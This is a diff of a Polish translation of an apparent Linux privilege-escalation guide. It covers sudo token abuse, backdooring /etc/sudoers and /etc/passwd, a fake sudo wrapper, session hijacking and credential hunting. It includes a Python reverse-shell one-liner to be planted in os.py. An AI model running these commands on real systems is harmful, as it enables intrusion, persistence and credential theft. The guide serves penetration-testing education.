/tmp/activate_sudo_token
|
||||||
|
@ -966,20 +966,20 @@ sudo su
|
||||||
```
|
```
|
||||||
### /var/run/sudo/ts/\<NazwaUżytkownika>
|
### /var/run/sudo/ts/\<NazwaUżytkownika>
|
||||||
|
|
||||||
Jeśli masz **uprawnienia do zapisu** w folderze lub do któregokolwiek z utworzonych plików wewnątrz folderu, możesz użyć binarnego pliku [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools), aby **utworzyć token sudo dla użytkownika i PID**.\
|
Jeśli masz **uprawnienia do zapisu** w folderze lub w którymkolwiek z utworzonych plików wewnątrz folderu, możesz użyć binarnego pliku [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools), aby **utworzyć token sudo dla użytkownika i PID**.\
|
||||||
Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz powłokę jako ten użytkownik z PID 1234, możesz **uzyskać uprawnienia sudo** bez konieczności znajomości hasła, wykonując:
|
Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz powłokę jako ten użytkownik o PID 1234, możesz **uzyskać uprawnienia sudo** bez konieczności znajomości hasła, wykonując:
|
||||||
```bash
|
```bash
|
||||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||||
```
|
```
|
||||||
### /etc/sudoers, /etc/sudoers.d
|
### /etc/sudoers, /etc/sudoers.d
|
||||||
|
|
||||||
Plik `/etc/sudoers` oraz pliki wewnątrz `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być czytane tylko przez użytkownika root i grupę root**.\
|
Plik `/etc/sudoers` oraz pliki wewnątrz `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root**.\
|
||||||
**Jeśli** możesz **czytać** ten plik, możesz **uzyskać pewne interesujące informacje**, a jeśli możesz **pisać** do jakiegokolwiek pliku, będziesz mógł **eskalować uprawnienia**.
|
Jeśli **możesz odczytać** ten plik, możesz **uzyskać pewne interesujące informacje**, a jeśli **możesz zapisywać** w jakimkolwiek pliku, będziesz mógł **eskalować uprawnienia**.
|
||||||
```bash
|
```bash
|
||||||
ls -l /etc/sudoers /etc/sudoers.d/
|
ls -l /etc/sudoers /etc/sudoers.d/
|
||||||
ls -ld /etc/sudoers.d/
|
ls -ld /etc/sudoers.d/
|
||||||
```
|
```
|
||||||
Jeśli potrafisz pisać, możesz nadużyć tego uprawnienia.
|
Jeśli potrafisz pisać, możesz nadużyć tego uprawnienia
|
||||||
```bash
|
```bash
|
||||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
|
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
|
||||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
|
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
|
||||||
|
@ -993,7 +993,7 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
|
||||||
```
|
```
|
||||||
### DOAS
|
### DOAS
|
||||||
|
|
||||||
Istnieją pewne alternatywy dla binarnej aplikacji `sudo`, takie jak `doas` dla OpenBSD, pamiętaj, aby sprawdzić jego konfigurację w lokalizacji `/etc/doas.conf`
|
Istnieją pewne alternatywy dla binarnej `sudo`, takie jak `doas` dla OpenBSD, pamiętaj, aby sprawdzić jego konfigurację w `/etc/doas.conf`
|
||||||
```
|
```
|
||||||
permit nopass demo as root cmd vim
|
permit nopass demo as root cmd vim
|
||||||
```
|
```
|
||||||
|
@ -1003,7 +1003,7 @@ Jeśli wiesz, że **użytkownik zazwyczaj łączy się z maszyną i używa `sudo
|
||||||
|
|
||||||
Zauważ, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
|
Zauważ, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
|
||||||
|
|
||||||
Lub uruchom coś w stylu:
|
Albo uruchom coś w stylu:
|
||||||
```bash
|
```bash
|
||||||
cat >/tmp/sudo <<EOF
|
cat >/tmp/sudo <<EOF
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
@ -1022,12 +1022,12 @@ sudo ls
|
||||||
|
|
||||||
### ld.so
|
### ld.so
|
||||||
|
|
||||||
Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą załadowane pliki konfiguracyjne**. Zazwyczaj plik ten zawiera następującą ścieżkę: `include /etc/ld.so.conf.d/*.conf`
|
Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą załadowane pliki konfiguracyjne**. Zazwyczaj ten plik zawiera następującą ścieżkę: `include /etc/ld.so.conf.d/*.conf`
|
||||||
|
|
||||||
Oznacza to, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` zostaną odczytane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których będą **szukane biblioteki**. Na przykład zawartość pliku `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **Oznacza to, że system będzie szukał bibliotek wewnątrz `/usr/local/lib`**.
|
Oznacza to, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` zostaną odczytane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których będą **szukane biblioteki**. Na przykład zawartość pliku `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **Oznacza to, że system będzie szukał bibliotek wewnątrz `/usr/local/lib`**.
|
||||||
|
|
||||||
Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** w którymkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, jakikolwiek plik wewnątrz `/etc/ld.so.conf.d/` lub jakikolwiek folder wewnątrz pliku konfiguracyjnego w `/etc/ld.so.conf.d/*.conf`, może być w stanie eskalować uprawnienia.\
|
Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** do którejkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, jakiegokolwiek pliku wewnątrz `/etc/ld.so.conf.d/` lub jakiegokolwiek folderu wewnątrz pliku konfiguracyjnego w `/etc/ld.so.conf.d/*.conf`, może być w stanie eskalować uprawnienia.\
|
||||||
Zobacz **jak wykorzystać tę nieprawidłową konfigurację** na następnej stronie:
|
Zobacz, **jak wykorzystać tę nieprawidłową konfigurację** na następnej stronie:
|
||||||
|
|
||||||
{% content-ref url="ld.so.conf-example.md" %}
|
{% content-ref url="ld.so.conf-example.md" %}
|
||||||
[ld.so.conf-example.md](ld.so.conf-example.md)
|
[ld.so.conf-example.md](ld.so.conf-example.md)
|
||||||
|
@ -1044,7 +1044,7 @@ linux-gate.so.1 => (0x0068c000)
|
||||||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
||||||
/lib/ld-linux.so.2 (0x005bb000)
|
/lib/ld-linux.so.2 (0x005bb000)
|
||||||
```
|
```
|
||||||
Poprzez skopiowanie biblioteki do `/var/tmp/flag15/` zostanie ona użyta przez program w tym miejscu, zgodnie z zmienną `RPATH`.
|
Poprzez skopiowanie biblioteki do `/var/tmp/flag15/` zostanie ona użyta przez program w tym miejscu, jak określono w zmiennej `RPATH`.
|
||||||
```
|
```
|
||||||
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
||||||
|
|
||||||
|
@ -1068,7 +1068,7 @@ execve(file,argv,0);
|
||||||
```
|
```
|
||||||
## Uprawnienia
|
## Uprawnienia
|
||||||
|
|
||||||
Zdolności systemu Linux zapewniają **podzbiór dostępnych uprawnień roota dla procesu**. W praktyce dzieli to uprawnienia roota na mniejsze i odrębne jednostki. Każda z tych jednostek może być niezależnie przyznana procesom. W ten sposób pełen zestaw uprawnień jest zmniejszony, co zmniejsza ryzyko eksploatacji.\
|
Zdolności systemu Linux zapewniają **podzbiór dostępnych uprawnień roota dla procesu**. W praktyce dzielą one uprawnienia roota na mniejsze i odrębne jednostki. Każda z tych jednostek może być niezależnie przyznana procesom. W ten sposób pełen zestaw uprawnień jest zmniejszony, co zmniejsza ryzyko eksploatacji.\
|
||||||
Przeczytaj następną stronę, aby **dowiedzieć się więcej o zdolnościach i jak je nadużywać**:
|
Przeczytaj następną stronę, aby **dowiedzieć się więcej o zdolnościach i jak je nadużywać**:
|
||||||
|
|
||||||
{% content-ref url="linux-capabilities.md" %}
|
{% content-ref url="linux-capabilities.md" %}
|
||||||
|
@ -1082,7 +1082,7 @@ Bit **"read"** oznacza, że użytkownik może **wyświetlić** **pliki**, a bit
|
||||||
|
|
||||||
## ACL
|
## ACL
|
||||||
|
|
||||||
Listy kontroli dostępu (ACL) stanowią drugorzędny poziom dyskrecyjnych uprawnień, zdolny do **nadpisywania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do pliku lub katalogu, pozwalając na przyznawanie lub odmawianie praw określonym użytkownikom, którzy nie są właścicielami ani nie należą do grupy. Ten poziom **dokładności zapewnia bardziej precyzyjne zarządzanie dostępem**. Więcej szczegółów można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
Listy kontroli dostępu (ACL) reprezentują drugą warstwę dyskrecyjnych uprawnień, zdolnych do **nadpisywania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do pliku lub katalogu, pozwalając na przyznawanie lub odmawianie praw określonym użytkownikom, którzy nie są właścicielami ani członkami grupy. Ten poziom **dokładności zapewnia bardziej precyzyjne zarządzanie dostępem**. Więcej szczegółów można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||||
|
|
||||||
**Daj** użytkownikowi "kali" uprawnienia do odczytu i zapisu pliku:
|
**Daj** użytkownikowi "kali" uprawnienia do odczytu i zapisu pliku:
|
||||||
```bash
|
```bash
|
||||||
|
@ -1102,7 +1102,7 @@ W **najnowszych wersjach** będziesz mógł **połączyć się** tylko z sesjami
|
||||||
|
|
||||||
### przejmowanie sesji ekranowych
|
### przejmowanie sesji ekranowych
|
||||||
|
|
||||||
**Wyświetl sesje ekranowe**
|
**Wyświetl listę sesji ekranowych**
|
||||||
```bash
|
```bash
|
||||||
screen -ls
|
screen -ls
|
||||||
screen -ls <username>/ # Show another user' screen sessions
|
screen -ls <username>/ # Show another user' screen sessions
|
||||||
|
@ -1115,7 +1115,7 @@ screen -x [user]/[session id]
|
||||||
```
|
```
|
||||||
## Przechwytywanie sesji tmux
|
## Przechwytywanie sesji tmux
|
||||||
|
|
||||||
Był to problem z **starymi wersjami tmux**. Nie byłem w stanie przechwycić sesji tmux (v2.1) utworzonej przez roota jako użytkownik nieuprzywilejowany.
|
Był to problem z **starymi wersjami tmux**. Nie byłem w stanie przechwycić sesji tmux (v2.1) utworzonej przez roota jako użytkownik bez uprawnień.
|
||||||
|
|
||||||
**Lista sesji tmux**
|
**Lista sesji tmux**
|
||||||
```bash
|
```bash
|
||||||
|
@ -1144,13 +1144,13 @@ Ten błąd występuje podczas tworzenia nowego klucza ssh w tych systemach opera
|
||||||
|
|
||||||
### Interesujące wartości konfiguracji SSH
|
### Interesujące wartości konfiguracji SSH
|
||||||
|
|
||||||
* **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie jest to `no`.
|
* **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Wartość domyślna to `no`.
|
||||||
* **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie jest to `yes`.
|
* **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Wartość domyślna to `yes`.
|
||||||
* **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer zezwala na logowanie do kont z pustymi ciągami hasła. Domyślnie jest to `no`.
|
* **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer zezwala na logowanie do kont z pustymi ciągami hasła. Wartość domyślna to `no`.
|
||||||
|
|
||||||
### PermitRootLogin
|
### PermitRootLogin
|
||||||
|
|
||||||
Określa, czy root może zalogować się za pomocą ssh, domyślnie jest to `no`. Możliwe wartości:
|
Określa, czy root może zalogować się za pomocą ssh, domyślnie to `no`. Możliwe wartości:
|
||||||
|
|
||||||
* `yes`: root może zalogować się za pomocą hasła i klucza prywatnego
|
* `yes`: root może zalogować się za pomocą hasła i klucza prywatnego
|
||||||
* `without-password` lub `prohibit-password`: root może zalogować się tylko za pomocą klucza prywatnego
|
* `without-password` lub `prohibit-password`: root może zalogować się tylko za pomocą klucza prywatnego
|
||||||
|
@ -1163,11 +1163,11 @@ Określa pliki zawierające klucze publiczne, które mogą być używane do uwie
|
||||||
```bash
|
```bash
|
||||||
AuthorizedKeysFile .ssh/authorized_keys access
|
AuthorizedKeysFile .ssh/authorized_keys access
|
||||||
```
|
```
|
||||||
Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą klucza **prywatnego** użytkownika "**nazwa_użytkownika_testowego**", ssh porówna klucz publiczny Twojego klucza z tymi znajdującymi się w `/home/nazwa_użytkownika_testowego/.ssh/authorized_keys` i `/home/nazwa_użytkownika_testowego/access`
|
Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą klucza **prywatnego** użytkownika "**nazwa_testowego_użytkownika**", ssh porówna klucz publiczny Twojego klucza z tymi znajdującymi się w `/home/nazwa_testowego_użytkownika/.ssh/authorized_keys` i `/home/nazwa_testowego_użytkownika/access`
|
||||||
|
|
||||||
### ForwardAgent/AllowAgentForwarding
|
### ForwardAgent/AllowAgentForwarding
|
||||||
|
|
||||||
Przekazywanie agenta SSH pozwala Ci **używać lokalnych kluczy SSH zamiast pozostawiać klucze** (bez haseł!) na Twoim serwerze. Dzięki temu będziesz mógł **przeskoczyć** za pomocą ssh **do hosta** i stamtąd **przeskoczyć do innego** hosta **korzystając z** klucza znajdującego się na Twoim **początkowym hoście**.
|
Przekazywanie agenta SSH pozwala Ci **używać lokalnych kluczy SSH zamiast pozostawiać klucze** (bez haseł!) na Twoim serwerze. Dzięki temu będziesz mógł **przeskoczyć** za pomocą ssh **do hosta** i stamtąd **przeskoczyć do innego** hosta **używając** klucza znajdującego się na Twoim **początkowym hoście**.
|
||||||
|
|
||||||
Musisz ustawić tę opcję w pliku `$HOME/.ssh.config` w ten sposób:
|
Musisz ustawić tę opcję w pliku `$HOME/.ssh.config` w ten sposób:
|
||||||
```
|
```
|
||||||
|
@ -1189,11 +1189,11 @@ Jeśli odkryjesz, że Forward Agent jest skonfigurowany w środowisku, przeczyta
|
||||||
|
|
||||||
### Pliki profili
|
### Pliki profili
|
||||||
|
|
||||||
Plik `/etc/profile` oraz pliki w `/etc/profile.d/` to **skrypty wykonywane, gdy użytkownik uruchamia nową powłokę**. Dlatego jeśli **możesz zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**.
|
Plik `/etc/profile` oraz pliki w `/etc/profile.d/` to **skrypty wykonywane, gdy użytkownik uruchamia nową powłokę**. Dlatego jeśli możesz **napisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**.
|
||||||
```bash
|
```bash
|
||||||
ls -l /etc/profile /etc/profile.d/
|
ls -l /etc/profile /etc/profile.d/
|
||||||
```
|
```
|
||||||
Jeśli zostanie znaleziony jakiś dziwny skrypt profilu, należy sprawdzić go pod kątem **wrażliwych danych**.
|
Jeśli zostanie znaleziony jakiś dziwny skrypt profilu, należy go sprawdzić pod kątem **czułych danych**.
|
||||||
|
|
||||||
### Pliki Passwd/Shadow
|
### Pliki Passwd/Shadow
|
||||||
|
|
||||||
|
@ -1216,7 +1216,7 @@ openssl passwd -1 -salt hacker hacker
|
||||||
mkpasswd -m SHA-512 hacker
|
mkpasswd -m SHA-512 hacker
|
||||||
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
||||||
```
|
```
|
||||||
Następnie dodaj użytkownika `hacker` i wygenerowane hasło.
|
Następnie dodaj użytkownika `hacker` i wprowadź wygenerowane hasło.
|
||||||
```
|
```
|
||||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||||
```
|
```
|
||||||
|
@ -1232,7 +1232,7 @@ su - dummy
|
||||||
```
|
```
|
||||||
**UWAGA:** Na platformach BSD plik `/etc/passwd` znajduje się pod ścieżką `/etc/pwd.db` i `/etc/master.passwd`, a plik `/etc/shadow` został przemianowany na `/etc/spwd.db`.
|
**UWAGA:** Na platformach BSD plik `/etc/passwd` znajduje się pod ścieżką `/etc/pwd.db` i `/etc/master.passwd`, a plik `/etc/shadow` został przemianowany na `/etc/spwd.db`.
|
||||||
|
|
||||||
Należy sprawdzić, czy można **zapisywać w pewnych wrażliwych plikach**. Na przykład, czy można zapisać w jakimś pliku **konfiguracji usługi**?
|
Powinieneś sprawdzić, czy możesz **zapisywać w pewnych wrażliwych plikach**. Na przykład, czy możesz zapisać w pewnym **pliku konfiguracyjnym usługi**?
|
||||||
```bash
|
```bash
|
||||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||||
|
@ -1284,10 +1284,10 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
|
||||||
```bash
|
```bash
|
||||||
find / -type f -iname ".*" -ls 2>/dev/null
|
find / -type f -iname ".*" -ls 2>/dev/null
|
||||||
```
|
```
|
||||||
### **Skrypty/Binaries w Ścieżce PATH**
|
### **Skrypty/Binaria w Ścieżce PATH**
|
||||||
```bash
|
```bash
|
||||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
|
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
|
||||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done
|
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
|
||||||
```
|
```
|
||||||
### **Pliki internetowe**
|
### **Pliki internetowe**
|
||||||
```bash
|
```bash
|
||||||
|
@ -1305,15 +1305,15 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
||||||
Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), który wyszukuje **kilka możliwych plików, które mogą zawierać hasła**.\
|
Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), który wyszukuje **kilka możliwych plików, które mogą zawierać hasła**.\
|
||||||
**Inne interesujące narzędzie**, które możesz użyć do tego celu, to: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), które jest aplikacją open source służącą do odzyskiwania wielu haseł przechowywanych na komputerze lokalnym w systemach Windows, Linux i Mac.
|
**Inne interesujące narzędzie**, które możesz użyć do tego celu, to: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), które jest aplikacją open source służącą do odzyskiwania wielu haseł przechowywanych na komputerze lokalnym w systemach Windows, Linux i Mac.
|
||||||
|
|
||||||
### Logi
|
### Dzienniki
|
||||||
|
|
||||||
Jeśli potrafisz czytać logi, możesz znaleźć w nich **interesujące/poufne informacje**. Im dziwniejszy jest log, tym bardziej będzie interesujący (prawdopodobnie).\
|
Jeśli potrafisz czytać dzienniki, możesz znaleźć w nich **interesujące/poufne informacje**. Im dziwniejszy jest dziennik, tym bardziej interesujący będzie (prawdopodobnie).\
|
||||||
Ponadto, niektóre "**źle**" skonfigurowane (z backdoorem?) **dzienniki audytowe** mogą pozwolić Ci **zapisywać hasła** w dziennikach audytowych, jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
Ponadto, niektóre "**źle**" skonfigurowane (z backdoorem?) **dzienniki audytowe** mogą pozwolić Ci **zapisywać hasła** w dziennikach audytowych, jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||||
```bash
|
```bash
|
||||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||||
```
|
```
|
||||||
Aby **czytać dzienniki**, grupa [**adm**](interesujące-grupy-linux-pe/#grupa-adm) będzie naprawdę pomocna.
|
Aby **czytać dzienniki grupy**, [**adm**](interesting-groups-linux-pe/#adm-group) będzie naprawdę pomocna.
|
||||||
|
|
||||||
### Pliki powłoki
|
### Pliki powłoki
|
||||||
```bash
|
```bash
|
||||||
|
@ -1328,16 +1328,16 @@ Aby **czytać dzienniki**, grupa [**adm**](interesujące-grupy-linux-pe/#grupa-a
|
||||||
```
|
```
|
||||||
### Ogólne wyszukiwanie danych uwierzytelniających/Regex
|
### Ogólne wyszukiwanie danych uwierzytelniających/Regex
|
||||||
|
|
||||||
Należy również sprawdzić pliki zawierające słowo "**password**" w nazwie lub w treści, a także sprawdzić adresy IP i adresy e-mail w logach, lub wyrażenia regularne dla skrótów.\
|
Należy również sprawdzić pliki zawierające słowo "**password**" w nazwie lub w treści, a także sprawdzić adresy IP i adresy e-mail w logach, lub wyrażenia regularne dla hashy.\
|
||||||
Nie będę tutaj wymieniać, jak to zrobić, ale jeśli jesteś zainteresowany, możesz sprawdzić ostatnie sprawdzenia, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
|
Nie zamierzam tutaj wymieniać, jak to zrobić, ale jeśli jesteś zainteresowany, możesz sprawdzić ostatnie sprawdzenia, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
|
||||||
|
|
||||||
## Pliki z uprawnieniami do zapisu
|
## Pliki z uprawnieniami do zapisu
|
||||||
|
|
||||||
### Przechwytywanie biblioteki Pythona
|
### Przechwytywanie biblioteki Pythona
|
||||||
|
|
||||||
Jeśli wiesz **skąd** będzie wykonywany skrypt pythona i **możesz pisać wewnątrz** tego folderu lub **modyfikować biblioteki pythona**, możesz zmodyfikować bibliotekę OS i umieścić w niej tylną furtkę (jeśli możesz pisać tam, gdzie będzie wykonywany skrypt pythona, skopiuj i wklej bibliotekę os.py).
|
Jeśli wiesz, **skąd** będzie wykonywany skrypt pythona i **możesz pisać wewnątrz** tego folderu lub **modyfikować biblioteki pythona**, możesz zmodyfikować bibliotekę OS i umieścić w niej tylnie drzwi (jeśli możesz pisać tam, gdzie będzie wykonywany skrypt pythona, skopiuj i wklej bibliotekę os.py).
|
||||||
|
|
||||||
Aby **umieścić tylną furtkę w bibliotece**, dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT):
|
Aby **umieścić tylnie drzwi w bibliotece**, dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT):
|
||||||
```python
|
```python
|
||||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||||
```
|
```
|
||||||
|
@ -1353,7 +1353,7 @@ Szczegółowe informacje na temat podatności można znaleźć na tej stronie: [
|
||||||
|
|
||||||
Możesz wykorzystać tę podatność za pomocą [**logrotten**](https://github.com/whotwagner/logrotten).
|
Możesz wykorzystać tę podatność za pomocą [**logrotten**](https://github.com/whotwagner/logrotten).
|
||||||
|
|
||||||
Ta podatność jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(dzienniki nginx)**, więc gdy tylko zauważysz, że możesz zmieniać dzienniki, sprawdź, kto nimi zarządza, i sprawdź, czy możesz uzyskać podwyższone uprawnienia, podmieniając dzienniki na dowiązania symboliczne.
|
Ta podatność jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(dzienniki nginx)**, więc gdy tylko zauważysz, że możesz zmieniać dzienniki, sprawdź, kto nimi zarządza, i sprawdź, czy możesz uzyskać podwyższone uprawnienia, podmieniając dzienniki za pomocą symlinków.
|
||||||
|
|
||||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||||
|
|
||||||
|
@ -1361,7 +1361,7 @@ Ta podatność jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails
|
||||||
|
|
||||||
Jeśli z jakiegoś powodu użytkownik jest w stanie **zapisać** skrypt `ifcf-<cokolwiek>` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to **twój system jest skompromitowany**.
|
Jeśli z jakiegoś powodu użytkownik jest w stanie **zapisać** skrypt `ifcf-<cokolwiek>` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to **twój system jest skompromitowany**.
|
||||||
|
|
||||||
Skrypty sieciowe, np. _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednakże są one \~załączane\~ na Linuxie przez Network Manager (dispatcher.d).
|
Skrypty sieciowe, np. _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są one \~załączane\~ na Linuxie przez Menedżera Sieci (dispatcher.d).
|
||||||
|
|
||||||
W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli masz **białą/przerwę w nazwie, system próbuje wykonać część po białej/przerwie**. Oznacza to, że **wszystko po pierwszej białej/przerwie jest wykonywane jako root**.
|
W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli masz **białą/przerwę w nazwie, system próbuje wykonać część po białej/przerwie**. Oznacza to, że **wszystko po pierwszej białej/przerwie jest wykonywane jako root**.
|
||||||
|
|
||||||
|
@ -1375,6 +1375,70 @@ DEVICE=eth0
|
||||||
|
|
||||||
Katalog `/etc/init.d` zawiera **skrypty** dla System V init (SysVinit), klasycznego systemu zarządzania usługami w systemie Linux. Zawiera skrypty do `startowania`, `zatrzymywania`, `restartowania` i czasami `przeładowywania` usług. Mogą być wykonywane bezpośrednio lub poprzez linki symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`.
|
Katalog `/etc/init.d` zawiera **skrypty** dla System V init (SysVinit), klasycznego systemu zarządzania usługami w systemie Linux. Zawiera skrypty do `startowania`, `zatrzymywania`, `restartowania` i czasami `przeładowywania` usług. Mogą być wykonywane bezpośrednio lub poprzez linki symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`.
|
||||||
|
|
||||||
Z kolei `/etc/init` jest związane z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, używającym plików konfiguracyjnych do zadań zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są wciąż wykorzystywane obok konfiguracji Upstart ze względu na warstwę kompatybilności w Upstart.
|
